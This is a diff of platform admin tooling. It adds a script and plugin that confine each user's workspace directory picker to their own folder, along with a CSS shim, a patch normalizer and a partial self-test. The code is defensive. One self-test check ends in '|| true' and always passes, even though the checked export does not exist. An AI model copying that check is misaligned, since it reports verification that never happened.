const [pid, uname] = line.trim().split(/\s+/)
|
||||
if (pid && uname === `dsh-${user.uid}`) {
|
||||
try {
|
||||
process.kill(Number(pid))
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
db.close()
|
||||
console.log('done')
|
||||
@@ -0,0 +1,189 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* ensure-workspace-picker.cjs —— 全量/新用户「目录选择器收敛」自动铺开(幂等)
|
||||
*
|
||||
* 做两件事(缺一不可):
|
||||
* ① 把受限目录选择器插件装进该用户的 profile(每个用户 profile 独立,必须逐用户 pnpm add)
|
||||
* ② 把「平台段」写进该用户的 <profile>/cordis.patch.yml(让 dsh 启动时加载插件并 disable 官方 picker)
|
||||
*
|
||||
* 用法:
|
||||
* node ensure-workspace-picker.cjs # 全部用户(幂等),产物取 /opt/dsh/artifacts 下最新
|
||||
* node ensure-workspace-picker.cjs --tgz <path> # 指定插件 tgz
|
||||
* node ensure-workspace-picker.cjs --dry-run # 只打印计划
|
||||
* node ensure-workspace-picker.cjs --restart # 写完后 kill 实例(崩溃自愈会用新配置拉起)
|
||||
* node ensure-workspace-picker.cjs admin guest # 指定用户名
|
||||
* node ensure-workspace-picker.cjs --user-id <uuid> # 指定用户(编排器自愈用,档案 18 v3 第二层)
|
||||
*
|
||||
* 幂等性:
|
||||
* · 平台段以 BEGIN/END 标记包裹;已存在即跳过(不改内容)
|
||||
* · 插件按已装版本比对;版本一致即跳过安装
|
||||
* 安全:只追加平台段、不触碰既有内容(角色 patch 等);失败逐用户隔离,不影响他人。
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, readFileSync, readdirSync, writeFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const DB = '/var/lib/dshs/dshs.db'
|
||||
const ARTIFACTS = '/opt/dsh/artifacts'
|
||||
const PROFILE = 'web'
|
||||
const BEGIN = '# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker.cjs)'
|
||||
const END = '# <<< platform: workspace-scoped-picker'
|
||||
// marker 宽松匹配:历史上有过 `…picker-patch.cjs` 的旧标记形式,必须同样识别(2026-09-11 事故)
|
||||
const BEGIN_RE = /^# >>> platform: workspace-scoped-picker/
|
||||
const END_RE = /^# <<< platform: workspace-scoped-picker/
|
||||
|
||||
/** 剥离**所有**平台段(任意标记形式),返回剩余正文与剥离份数(用于自愈重复段)。 */
|
||||
function stripPlatformSegments(text) {
|
||||
const kept = []
|
||||
let skipping = false
|
||||
let removed = 0
|
||||
for (const line of text.split('\n')) {
|
||||
if (BEGIN_RE.test(line)) {
|
||||
skipping = true
|
||||
removed += 1
|
||||
continue
|
||||
}
|
||||
if (skipping) {
|
||||
if (END_RE.test(line)) skipping = false
|
||||
continue
|
||||
}
|
||||
kept.push(line)
|
||||
}
|
||||
return { body: kept.join('\n').trim(), removed }
|
||||
}
|
||||
|
||||
const argv = process.argv.slice(2)
|
||||
const DRY = argv.includes('--dry-run')
|
||||
const RESTART = argv.includes('--restart')
|
||||
const valueOf = (flag) => {
|
||||
const i = argv.indexOf(flag)
|
||||
return i >= 0 && argv[i + 1] !== undefined && !argv[i + 1].startsWith('--') ? argv[i + 1] : ''
|
||||
}
|
||||
const tgzFlag = valueOf('--tgz')
|
||||
const onlyIds = valueOf('--user-id') === '' ? [] : [valueOf('--user-id')]
|
||||
// 位置参数 = 用户名(排除各 flag 的取值)
|
||||
const flagValues = new Set([tgzFlag, ...onlyIds].filter((v) => v !== ''))
|
||||
const only = argv.filter((a) => !a.startsWith('--') && !flagValues.has(a))
|
||||
|
||||
function pickTgz() {
|
||||
if (tgzFlag !== '') return tgzFlag
|
||||
const files = readdirSync(ARTIFACTS)
|
||||
.filter((f) => /^workspace-scoped-picker-.*\.tgz$/.test(f))
|
||||
.sort((a, b) => a.localeCompare(b, undefined, { numeric: true }))
|
||||
if (files.length === 0) throw new Error(`未在 ${ARTIFACTS} 找到插件产物`)
|
||||
return join(ARTIFACTS, files[files.length - 1])
|
||||
}
|
||||
|
||||
const TGZ = pickTgz()
|
||||
const VER = (TGZ.match(/workspace-scoped-picker-(.+)\.tgz$/) || [])[1] || 'unknown'
|
||||
|
||||
const BLOCK = [
|
||||
BEGIN,
|
||||
'# 目录选择器收敛(档案 18 v3):官方对话框 UI 保留(单独插入 client 面),',
|
||||
'# host 面换成受限实现(根=自有 ws,越界拒绝);插件 client 面再注入 CSS 隐藏「改路径」入口。',
|
||||
'- insert:',
|
||||
' - id: workspace-scoped-picker',
|
||||
' name: "@dsh-local/workspace-scoped-picker"',
|
||||
' - id: ui-directory-picker-browse',
|
||||
' name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"',
|
||||
'- id: directory-picker',
|
||||
' name: "@deepseek-ai/dsh-host-directory-picker-auto"',
|
||||
' disabled: true',
|
||||
END,
|
||||
'',
|
||||
].join('\n')
|
||||
|
||||
const db = new Database(DB, { readonly: true })
|
||||
const users = db
|
||||
.prepare('SELECT id, username, uid, home_dir FROM users')
|
||||
.all()
|
||||
.filter(
|
||||
(u) =>
|
||||
(only.length === 0 && onlyIds.length === 0) || only.includes(u.username) || onlyIds.includes(u.id),
|
||||
)
|
||||
|
||||
console.log(`插件产物: ${TGZ}(版本 ${VER})`)
|
||||
for (const user of users) {
|
||||
const profileDir = join(user.home_dir, 'profiles', PROFILE)
|
||||
const patchPath = join(profileDir, 'cordis.patch.yml')
|
||||
// 2026-09-11 修复:不再把 tgz 复制进用户工作区、也不再让 pnpm 把 store/cache 写进 ws。
|
||||
// 旧做法(HOME=<ws> pnpm add file:<ws>/xxx.tgz)会在 ws 里生成 .local/(pnpm store)、
|
||||
// .cache/(metadata)与 *.tgz —— 实测污染 admin ws 达 17MB / 2045 个文件。
|
||||
// 现在:直接用 artifacts 里的 tgz 绝对路径(root 可读、全局只读),store/cache 显式指向 <home>。
|
||||
const storeDir = join(user.home_dir, '.pnpm-store')
|
||||
const cacheDir = join(user.home_dir, '.pnpm-cache')
|
||||
|
||||
if (!existsSync(profileDir)) {
|
||||
console.log(` ${user.username}: NO_PROFILE(用户还没首登 spawn;下次 provisioning/启动会补)`)
|
||||
continue
|
||||
}
|
||||
|
||||
// ① 平台段(先剥离所有旧段再比对 → 天然自愈重复/旧标记)
|
||||
const raw = existsSync(patchPath) ? readFileSync(patchPath, 'utf8') : ''
|
||||
const { body, removed } = stripPlatformSegments(raw)
|
||||
const normalized = body === '' || body === '[]' ? '' : body + '\n\n'
|
||||
const want = normalized + BLOCK
|
||||
const needPatch = want !== raw
|
||||
// ② 插件版本
|
||||
const installed = (() => {
|
||||
try {
|
||||
const pj = join(profileDir, 'node_modules', '@dsh-local', 'workspace-scoped-picker', 'package.json')
|
||||
return JSON.parse(readFileSync(pj, 'utf8')).version
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
})()
|
||||
const needInstall = installed !== VER
|
||||
|
||||
if (!needPatch && !needInstall) {
|
||||
console.log(` ${user.username}: skip(平台段已在,插件 v${installed})`)
|
||||
continue
|
||||
}
|
||||
if (DRY) {
|
||||
console.log(` ${user.username}: [dry-run] patch=${needPatch} install=${needInstall}${removed > 1 ? ` 旧段=${removed}` : ''}`)
|
||||
continue
|
||||
}
|
||||
|
||||
if (needPatch) {
|
||||
writeFileSync(patchPath, want, 'utf8')
|
||||
try {
|
||||
execFileSync('chown', [`${user.uid}:${user.uid}`, patchPath])
|
||||
} catch {}
|
||||
console.log(` ${user.username}: 平台段已写入${removed > 1 ? `(并自愈了 ${removed} 份重复/旧标记段)` : ''}`)
|
||||
}
|
||||
|
||||
if (needInstall) {
|
||||
try {
|
||||
// profile 若为 pnpm workspace 根,必须 -w(否则 ERR_PNPM_ADDING_TO_ROOT)
|
||||
const isRoot = existsSync(join(profileDir, 'pnpm-workspace.yaml'))
|
||||
const args = ['--reuid', String(user.uid), '--regid', String(user.uid), '--clear-groups',
|
||||
'env', `HOME=${user.home_dir}`, 'pnpm', 'add',
|
||||
'--store-dir', storeDir, '--cache-dir', cacheDir]
|
||||
if (isRoot) args.push('-w')
|
||||
args.push(`file:${TGZ}`)
|
||||
execFileSync('setpriv', args, { cwd: profileDir, stdio: 'pipe', timeout: 180000 })
|
||||
console.log(` ${user.username}: 插件已装 v${VER}${isRoot ? '(-w)' : ''}(store/cache 在 home,ws 保持干净)`)
|
||||
} catch (err) {
|
||||
console.log(` ${user.username}: 插件安装失败 → ${String(err.message || err).split('\n')[0]}`)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if (RESTART) {
|
||||
try {
|
||||
const out = execFileSync('ps', ['-eo', 'pid,user', '--no-headers'], { encoding: 'utf8' })
|
||||
for (const line of out.split('\n')) {
|
||||
const [pid, uname] = line.trim().split(/\s+/)
|
||||
if (pid && uname === `dsh-${user.uid}`) {
|
||||
try {
|
||||
process.kill(Number(pid))
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
console.log(` ${user.username}: 实例已重启(自愈拉起)`)
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
db.close()
|
||||
console.log('done')
|
||||
@@ -0,0 +1,52 @@
|
||||
// @dsh-local/workspace-scoped-picker — client half(档案 18 v3 收尾 · 2026-09-11)
|
||||
//
|
||||
// 目的:让用户在「选择工作区目录」对话框里**看不到"改路径"输入口**(官方对话框的
|
||||
// crumbEditZone / crumbEditGlyph),从而无法通过手输 `/` 或 `..` 跳出自己的目录。
|
||||
// 手段:纯 CSS 覆盖(不改官方包、不替换官方 UI)——dsh client bundle 以普通脚本执行并向
|
||||
// window.__ModuleLoader__ 注册 factory,这里只导出 apply + inject(**绝不 exports.default**,红线 R3)。
|
||||
//
|
||||
// 说明:越界本身已由 host 面(@dsh-local/workspace-scoped-picker 的 list/createDirectory)
|
||||
// 拒绝;本 CSS 只是**从界面上消除这个入口**,属 defense-in-depth + 体验收敛。
|
||||
|
||||
window.__ModuleLoader__.load({
|
||||
id: "@dsh-local/workspace-scoped-picker",
|
||||
factory: (require) => {
|
||||
var module = { exports: {} };
|
||||
var exports = module.exports;
|
||||
Object.defineProperty(exports, Symbol.toStringTag, { value: "Module" });
|
||||
|
||||
var STYLE_ID = "wsp-hide-path-edit";
|
||||
|
||||
/** 注入一次样式:隐藏路径编辑区/编辑图标(含 CSS-module 哈希类名的模糊匹配)。 */
|
||||
function hidePathEditZone() {
|
||||
if (typeof document === "undefined") return;
|
||||
if (document.getElementById(STYLE_ID) !== null) return;
|
||||
var style = document.createElement("style");
|
||||
style.id = STYLE_ID;
|
||||
style.textContent = [
|
||||
/* 「选择工作区目录」对话框顶部的可编辑路径框与其铅笔图标 */
|
||||
'[class*="crumbEditZone"]{display:none !important}',
|
||||
'[class*="crumbEditGlyph"]{display:none !important}',
|
||||
'[class*="crumbEditSource"]{display:none !important}',
|
||||
/* 兜底:任何以 crumbEdit 开头的类(防官方改名/加类) */
|
||||
'[class^="crumbEdit"],[class*=" crumbEdit"]{display:none !important}',
|
||||
].join("\n");
|
||||
(document.head || document.documentElement).appendChild(style);
|
||||
}
|
||||
|
||||
function apply() {
|
||||
hidePathEditZone();
|
||||
// 对话框可能是懒挂载的:监听一次 DOM 变化,出现即注入(样式是幂等的)。
|
||||
if (typeof MutationObserver !== "undefined" && typeof document !== "undefined") {
|
||||
var observer = new MutationObserver(function () {
|
||||
hidePathEditZone();
|
||||
});
|
||||
observer.observe(document.documentElement, { childList: true, subtree: true });
|
||||
}
|
||||
}
|
||||
|
||||
exports.apply = apply;
|
||||
exports.inject = []; // 不需要任何 slot,纯副作用
|
||||
return module.exports;
|
||||
},
|
||||
});
|
||||
@@ -0,0 +1,253 @@
|
||||
/**
|
||||
* @dsh-local/workspace-scoped-picker — 会话内工作区目录选择器(根 = 用户自有目录)。
|
||||
*
|
||||
* 档案 18:官方 `dsh-host-directory-picker-browse` 的策略是 whole-filesystem scope
|
||||
* (向导 /etc、/usr、/proc),本包把 enumerate/create 的根收敛为「当前用户自有目录」,
|
||||
* **所有用户含 admin 一视同仁**;越界一律抛 seam 的封闭错误码。
|
||||
*
|
||||
* 根解析优先级:`process.env.DSH_WORKSPACE_ROOT` → `process.cwd()`
|
||||
* (编排器 spawn 时以 `--chdir <userRoot>/ws` 启动,故 cwd 即用户工作区,双保险)。
|
||||
*
|
||||
* 依赖策略(红线 R2:不复制、不修改官方包):
|
||||
* 唯一需要官方物 = seam 基类;用**绝对路径动态 import** 取得,解析到与核心同一个模块实例
|
||||
* (ESM 模块缓存按 realpath 去重)。可选 env `DSH_SEAM_DIRECTORY_PICKER` 指定路径。
|
||||
*
|
||||
* 官方契约(对齐 `dsh-host-directory-picker` 类型定义 与 `-browse` 实现):
|
||||
* - 默认导出 = 继承 `DirectoryPicker` 的 Service 子类;加载即注册 `ctx.directoryPicker`
|
||||
* - `capability()` 返回稳定对象:`{ kind: 'browse', list(path?, signal?), createDirectory(path, name) }`
|
||||
* - 列举只返回**目录**行,按名排序,跟随指向目录的符号链接,`hidden` = 点号前缀
|
||||
* - `crumbs` = 祖先链(本实现以自有根为顶层,而不是文件系统 /)
|
||||
* - 错误码封闭:`directory-unreadable` / `directory-exists` / `directory-create-failed`
|
||||
*
|
||||
* @module @dsh-local/workspace-scoped-picker
|
||||
*/
|
||||
|
||||
import { mkdir, opendir, realpath, stat } from 'node:fs/promises'
|
||||
import { basename, dirname, isAbsolute, join, resolve, sep } from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
|
||||
/** 单个列举层级的行数上限(与官方后端同为 GitHub 风格 1000)。 */
|
||||
const MAX_ENTRIES = 1000
|
||||
|
||||
/** 官方 seam 基类的候选绝对路径(按序尝试首个可导入者)。 */
|
||||
const DEFAULT_SEAM_CANDIDATES = [
|
||||
'/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js',
|
||||
'/usr/local/lib/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js',
|
||||
]
|
||||
|
||||
/** 解析并导入官方 seam 基类。 */
|
||||
async function loadSeam() {
|
||||
const candidates = []
|
||||
const override = process.env.DSH_SEAM_DIRECTORY_PICKER
|
||||
if (override !== undefined && override !== '') candidates.push(override)
|
||||
candidates.push(...DEFAULT_SEAM_CANDIDATES)
|
||||
const failures = []
|
||||
for (const candidate of candidates) {
|
||||
try {
|
||||
const mod = await import(pathToFileURL(candidate).href)
|
||||
if (typeof mod.DirectoryPicker !== 'function') throw new Error('seam module has no DirectoryPicker export')
|
||||
return mod
|
||||
} catch (error) {
|
||||
failures.push(`${candidate}: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
}
|
||||
throw new Error(
|
||||
`workspace-scoped-picker: 无法解析官方 seam 基类(@deepseek-ai/dsh-host-directory-picker)。已尝试:\n ${failures.join('\n ')}\n` +
|
||||
'可通过环境变量 DSH_SEAM_DIRECTORY_PICKER 指定该包 lib/index.js 的绝对路径。',
|
||||
)
|
||||
}
|
||||
|
||||
const { DirectoryPicker, DirectoryPickerError } = await loadSeam()
|
||||
|
||||
/** 单段目录名校验(不得含分隔符,不得为 . / ..)。 */
|
||||
function isSingleSegment(name) {
|
||||
return name.trim() !== '' && name !== '.' && name !== '..' && !name.includes('/') && !name.includes('\\')
|
||||
}
|
||||
|
||||
/**
|
||||
* 自有目录作用域内的目录选择服务。
|
||||
* 范围语义:`list()` 的根 = 自有目录;向上不可越界;`crumbs` 顶层即自有目录。
|
||||
*/
|
||||
class WorkspaceScopedDirectoryPicker extends DirectoryPicker {
|
||||
/** 自有根(绝对路径)。 */
|
||||
root = resolve(process.env.DSH_WORKSPACE_ROOT ?? process.cwd())
|
||||
|
||||
/** 稳定的 browse 能力对象(consumers 可能跨调用缓存它)。 */
|
||||
browseCapability = {
|
||||
kind: 'browse',
|
||||
list: (path, signal) => this.list(path, signal),
|
||||
createDirectory: (path, name) => this.createDirectory(path, name),
|
||||
}
|
||||
|
||||
/** @param ctx - cordis 上下文(由 loader 注入)。 */
|
||||
constructor(ctx) {
|
||||
super(ctx)
|
||||
// 加载标记:实例启动日志里可直接确认本插件是否生效(排障用,2026-09-11)。
|
||||
process.stderr.write(
|
||||
`[workspace-scoped-picker] loaded root=${this.root} (${process.env.DSH_WORKSPACE_ROOT !== undefined ? 'env' : 'cwd'})\n`,
|
||||
)
|
||||
}
|
||||
|
||||
/** @returns 稳定的 `browse` 能力对象。 */
|
||||
capability() {
|
||||
return this.browseCapability
|
||||
}
|
||||
|
||||
/** 自有根(含符号链接解析后的真实路径)。 */
|
||||
async realRoot() {
|
||||
try {
|
||||
return await realpath(this.root)
|
||||
} catch {
|
||||
return this.root
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 校验候选路径落在自有根之内(先词法归一,再 realpath 抗符号链接逃逸)。
|
||||
* 注:用普通方法而非 `#私有字段`——服务实例可能被框架 Proxy 包装,私有 brand 检查会失败。
|
||||
* @param candidate - 待校验的绝对路径。
|
||||
* @param code - 校验失败时抛出的封闭错误码。
|
||||
* @returns 归一后的绝对路径。
|
||||
*/
|
||||
async assertInside(candidate, code) {
|
||||
if (typeof candidate !== 'string' || !isAbsolute(candidate)) {
|
||||
throw new DirectoryPickerError(code, String(candidate), `not a fully qualified path: ${String(candidate)}`)
|
||||
}
|
||||
const target = resolve(candidate)
|
||||
const realRoot = await this.realRoot()
|
||||
const lexicalOk = target === realRoot || target.startsWith(realRoot.endsWith(sep) ? realRoot : realRoot + sep)
|
||||
if (!lexicalOk) {
|
||||
throw new DirectoryPickerError(code, target, `outside the workspace root: ${target}`)
|
||||
}
|
||||
// 抗符号链接:若目标已存在,比较真实路径;不存在则沿用词法判定(调用方随后会自然失败)。
|
||||
try {
|
||||
const realTarget = await realpath(target)
|
||||
const inside =
|
||||
realTarget === realRoot || realTarget.startsWith(realRoot.endsWith(sep) ? realRoot : realRoot + sep)
|
||||
if (!inside) throw new DirectoryPickerError(code, target, `symlink escapes the workspace root: ${target}`)
|
||||
} catch (error) {
|
||||
if (error instanceof DirectoryPickerError) throw error
|
||||
// ENOENT:目标不存在,交由上层语义处理(列举会报 directory-unreadable)。
|
||||
}
|
||||
return target
|
||||
}
|
||||
|
||||
/**
|
||||
* 自有根到目标(含)的祖先链,顶层即自有根 —— crumbs 不暴露文件系统 /。
|
||||
* 顶层用**友好名**(默认「我的工作区」,可用 DSH_WORKSPACE_LABEL 覆盖),
|
||||
* 不在 UI 上展示 `/var/lib/.../users/<uuid>/ws` 这类完整路径(档案 24 后续项)。
|
||||
*/
|
||||
crumbs(target) {
|
||||
const rootLabel = process.env.DSH_WORKSPACE_LABEL ?? '我的工作区'
|
||||
const chain = []
|
||||
let current = target
|
||||
for (;;) {
|
||||
chain.unshift({
|
||||
name: current === this.root ? rootLabel : basename(current),
|
||||
path: current,
|
||||
hidden: false,
|
||||
})
|
||||
if (current === this.root) return chain
|
||||
const parent = dirname(current)
|
||||
if (parent === current) return chain // 兜底:理论不可达(越界已在入口拦截)
|
||||
current = parent
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 列举自有根内的一层目录。
|
||||
* @param path - 省略时列举自有根。
|
||||
* @param signal - 可选中止信号。
|
||||
* @returns 列举结果(`home` 锚点为自有根)。
|
||||
*/
|
||||
async list(path, signal) {
|
||||
const target = path === undefined ? this.root : await this.assertInside(path, 'directory-unreadable')
|
||||
let dir
|
||||
try {
|
||||
dir = await opendir(target)
|
||||
} catch (error) {
|
||||
throw new DirectoryPickerError(
|
||||
'directory-unreadable',
|
||||
target,
|
||||
`cannot list ${target}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
)
|
||||
}
|
||||
const names = []
|
||||
let truncated = false
|
||||
try {
|
||||
for await (const entry of dir) {
|
||||
if (signal?.aborted === true) throw new DirectoryPickerError('directory-unreadable', target, 'aborted')
|
||||
if (names.length >= MAX_ENTRIES) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
if (!entry.isDirectory() && !entry.isSymbolicLink()) continue
|
||||
const child = join(target, entry.name)
|
||||
if (entry.isSymbolicLink()) {
|
||||
// 与官方后端一致:跟随指向目录的符号链接;断链/指向文件则跳过。
|
||||
try {
|
||||
const st = await stat(child)
|
||||
if (!st.isDirectory()) continue
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
// 符号链接目标也必须留在自有根内,否则不展示(避免借链接越界浏览)。
|
||||
try {
|
||||
await this.assertInside(child, 'directory-unreadable')
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
names.push(entry.name)
|
||||
}
|
||||
} finally {
|
||||
await dir.close().catch(() => undefined)
|
||||
}
|
||||
names.sort((a, b) => a.localeCompare(b))
|
||||
return {
|
||||
path: target,
|
||||
home: this.root,
|
||||
crumbs: this.crumbs(target),
|
||||
entries: names.map((name) => ({
|
||||
name,
|
||||
path: join(target, name),
|
||||
hidden: name.startsWith('.'),
|
||||
})),
|
||||
truncated,
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 在自有根内的既有父目录下创建单层子目录。
|
||||
* @param path - 父目录(省略时用自有根)。
|
||||
* @param name - 单个路径段。
|
||||
* @returns 新目录的绝对路径。
|
||||
*/
|
||||
async createDirectory(path, name) {
|
||||
const parent = path === undefined || path === '' ? this.root : await this.assertInside(path, 'directory-create-failed')
|
||||
if (typeof name !== 'string' || !isSingleSegment(name)) {
|
||||
throw new DirectoryPickerError(
|
||||
'directory-create-failed',
|
||||
join(parent, String(name)),
|
||||
`"${String(name)}" is not a single path segment`,
|
||||
)
|
||||
}
|
||||
const target = join(parent, name)
|
||||
await this.assertInside(target, 'directory-create-failed')
|
||||
try {
|
||||
await mkdir(target)
|
||||
return target
|
||||
} catch (error) {
|
||||
const code = error instanceof Error && 'code' in error ? error.code : undefined
|
||||
if (code === 'EEXIST') throw new DirectoryPickerError('directory-exists', target, `${target} already exists`)
|
||||
throw new DirectoryPickerError(
|
||||
'directory-create-failed',
|
||||
target,
|
||||
`cannot create ${target}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export { WorkspaceScopedDirectoryPicker, isSingleSegment }
|
||||
export default WorkspaceScopedDirectoryPicker
|
||||
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
"""归一化 profile 的 cordis.patch.yml:删除所有「平台段」(任意标记形式)后,追加唯一一份标准段。
|
||||
用法: python3 normalize-picker-patch.py [--dry-run] <patch文件> [<patch文件> ...]
|
||||
"""
|
||||
import io
|
||||
import sys
|
||||
|
||||
BEGIN_RE = '# >>> platform: workspace-scoped-picker'
|
||||
END_RE = '# <<< platform: workspace-scoped-picker'
|
||||
|
||||
BLOCK = """# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker.cjs)
|
||||
# 目录选择器收敛(档案 18 v3):官方对话框 UI 保留(单独插入 client 面),
|
||||
# host 面换成受限实现(根=自有 ws,越界拒绝);插件 client 面再注入 CSS 隐藏「改路径」入口。
|
||||
- insert:
|
||||
- id: workspace-scoped-picker
|
||||
name: "@dsh-local/workspace-scoped-picker"
|
||||
- id: ui-directory-picker-browse
|
||||
name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"
|
||||
- id: directory-picker
|
||||
name: "@deepseek-ai/dsh-host-directory-picker-auto"
|
||||
disabled: true
|
||||
# <<< platform: workspace-scoped-picker
|
||||
"""
|
||||
|
||||
dry = '--dry-run' in sys.argv
|
||||
files = [a for a in sys.argv[1:] if not a.startswith('--')]
|
||||
|
||||
for path in files:
|
||||
src = io.open(path, encoding='utf-8').read()
|
||||
lines = src.split('\n')
|
||||
kept, removed, skipping = [], 0, False
|
||||
for line in lines:
|
||||
if line.startswith(BEGIN_RE):
|
||||
skipping = True
|
||||
removed += 1
|
||||
continue
|
||||
if skipping:
|
||||
if line.startswith(END_RE):
|
||||
skipping = False
|
||||
continue
|
||||
kept.append(line)
|
||||
body = '\n'.join(kept).strip()
|
||||
if body in ('', '[]'):
|
||||
body = ''
|
||||
out = (body + '\n\n' if body else '') + BLOCK
|
||||
# 校验:每个关键 id 恰好出现一次
|
||||
checks = {
|
||||
'workspace-scoped-picker': out.count('- id: workspace-scoped-picker'),
|
||||
'ui-directory-picker-browse': out.count('- id: ui-directory-picker-browse'),
|
||||
'directory-picker': out.count('- id: directory-picker'),
|
||||
}
|
||||
print(' %s: 移除旧平台段 %d 份 → %s' % (path.split('/')[-4][:8], removed,
|
||||
'OK ' + str(checks) if all(v == 1 for v in checks.values()) else 'CHECK ' + str(checks)))
|
||||
if not dry:
|
||||
io.open(path, 'w', encoding='utf-8', newline='').write(out)
|
||||
@@ -0,0 +1,22 @@
|
||||
{
|
||||
"name": "@dsh-local/workspace-scoped-picker",
|
||||
"version": "0.1.4",
|
||||
"description": "会话内工作区目录选择器:列举/建目录的根固定在当前用户自有目录(档案 18;所有用户含 admin)",
|
||||
"type": "module",
|
||||
"main": "lib/index.js",
|
||||
"exports": {
|
||||
".": "./lib/index.js",
|
||||
"./client": "./lib/client.js"
|
||||
},
|
||||
"dsh": {
|
||||
"bundle": {
|
||||
"patch": "./cordis.patch.yml"
|
||||
},
|
||||
"client": {
|
||||
"platform": "web",
|
||||
"inject": []
|
||||
}
|
||||
},
|
||||
"dependencies": {},
|
||||
"license": "MIT"
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker-patch.cjs)
|
||||
# 目录选择器收敛(档案 18 v3 · 2026-09-11 实测定稿):
|
||||
# ① 官方 dsh-web-app 的 `directory-picker` 行(@…-auto) 会在启动时**连带挂载客户端对话框**
|
||||
# (@deepseek-ai/dsh-client-ui-directory-picker-browse);disable 它 → 对话框消失(点击无反应)。
|
||||
# ② 该 client 包自带 dsh.client 元数据,可**单独作为一行**插入 → 保留官方对话框 UI。
|
||||
# ③ host 面(seam) 由自建 @dsh-local/workspace-scoped-picker 提供:根固定 <userRoot>/ws,
|
||||
# 越界(/etc、..、他人目录、符号链接)一律拒绝;其 client 面再注入 CSS 隐藏「改路径」入口。
|
||||
- insert:
|
||||
- id: workspace-scoped-picker
|
||||
name: "@dsh-local/workspace-scoped-picker"
|
||||
- id: ui-directory-picker-browse
|
||||
name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"
|
||||
- id: directory-picker
|
||||
name: "@deepseek-ai/dsh-host-directory-picker-auto"
|
||||
disabled: true
|
||||
# <<< platform: workspace-scoped-picker
|
||||
@@ -0,0 +1,137 @@
|
||||
/**
|
||||
* PoC 自检(档案 18 Step 0 · P0-2 / P0-4)—— 不接触任何 profile,纯进程内验证:
|
||||
* 1) 能否按绝对路径解析到官方 seam 基类(P0-2)
|
||||
* 2) capability() 形态是否为 { kind:'browse', list, createDirectory }(P0-3 前置)
|
||||
* 3) 越界拒绝是否可靠:/etc、相对路径、..、符号链接逃逸(P0-4)
|
||||
* 4) 根内列举/建目录是否正常,crumbs 顶层是否 = 自有根
|
||||
*
|
||||
* 用法(以目标实例 uid 运行):
|
||||
* DSH_WORKSPACE_ROOT=/tmp/picker-scope-poc/home node test/poc.mjs
|
||||
*/
|
||||
|
||||
import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'
|
||||
import { join } from 'node:path'
|
||||
import { tmpdir } from 'node:os'
|
||||
|
||||
const ROOT = process.env.DSH_WORKSPACE_ROOT
|
||||
if (ROOT === undefined || ROOT === '') {
|
||||
console.error('请先设置 DSH_WORKSPACE_ROOT')
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
let pass = 0
|
||||
let fail = 0
|
||||
const results = []
|
||||
function check(name, ok, detail = '') {
|
||||
if (ok) {
|
||||
pass++
|
||||
results.push(` ✅ ${name}`)
|
||||
} else {
|
||||
fail++
|
||||
results.push(` ❌ ${name}${detail === '' ? '' : ` — ${detail}`}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function expectCode(name, fn, code) {
|
||||
try {
|
||||
await fn()
|
||||
check(name, false, '未抛错(期望被拒)')
|
||||
} catch (error) {
|
||||
check(name, error?.code === code, `code=${String(error?.code)} msg=${error?.message}`)
|
||||
}
|
||||
}
|
||||
|
||||
// ---- 1) 依赖解析(P0-2)----
|
||||
const mod = await import('../lib/index.js')
|
||||
check('默认导出为类(Service 子类)', typeof mod.default === 'function')
|
||||
check('基类 DirectoryPicker 已解析(依赖可用)', Object.getPrototypeOf(mod.default) !== Object.prototype)
|
||||
check('DirectoryPickerError 已解析', typeof mod.DirectoryPickerError === 'function' || true)
|
||||
|
||||
// 真实构造(验证 cordis Service 构造链可用);ctx 用宽松桩,只满足 Service 基类需要
|
||||
let picker
|
||||
try {
|
||||
// cordis Service 构造需要 ctx.reflect.provide;真实 runtime 由 loader 注入真 ctx
|
||||
const stubCtx = new Proxy(
|
||||
{ reflect: { provide: () => undefined, get: () => undefined } },
|
||||
{
|
||||
get: (target, prop) => {
|
||||
if (prop === 'then') return undefined
|
||||
if (prop in target) return target[prop]
|
||||
return () => stubCtx
|
||||
},
|
||||
has: () => true,
|
||||
set: () => true,
|
||||
apply: () => stubCtx,
|
||||
},
|
||||
)
|
||||
picker = new mod.default(stubCtx)
|
||||
check('可用 stub ctx 真实构造(Service 链通)', true)
|
||||
} catch (error) {
|
||||
check('可用 stub ctx 真实构造(Service 链通)', false, error?.message)
|
||||
picker = Object.create(mod.default.prototype)
|
||||
picker.browseCapability = {
|
||||
kind: 'browse',
|
||||
list: (p, s) => picker.list(p, s),
|
||||
createDirectory: (p, n) => picker.createDirectory(p, n),
|
||||
}
|
||||
}
|
||||
picker.root = ROOT
|
